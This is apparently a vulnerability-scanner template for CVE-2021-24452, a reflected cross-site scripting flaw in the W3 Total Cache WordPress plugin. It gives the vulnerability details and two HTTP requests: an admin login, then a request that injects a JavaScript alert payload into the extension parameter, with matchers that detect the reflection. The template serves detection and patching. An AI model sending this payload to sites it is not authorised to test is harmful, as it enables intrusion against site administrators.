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id : CVE-2021-24452
info :
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name : WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
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author : theamanrawat
severity : medium
description : |
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WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
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reference :
- https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
- https://wordpress.org/plugins/w3-total-cache/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24452
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remediation : Fixed in version 2.1.5.
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24452
cwe-id : CWE-79
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epss-score : 0.001
cpe : cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
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metadata :
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max-request : 2
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verified : true
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framework : wordpress
vendor : boldgrid
product : w3_total_cache
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tags : cve,cve2021,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth
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http :
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- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
- status_code_2 == 200
- contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
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- contains(header_2, "text/html")
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condition : and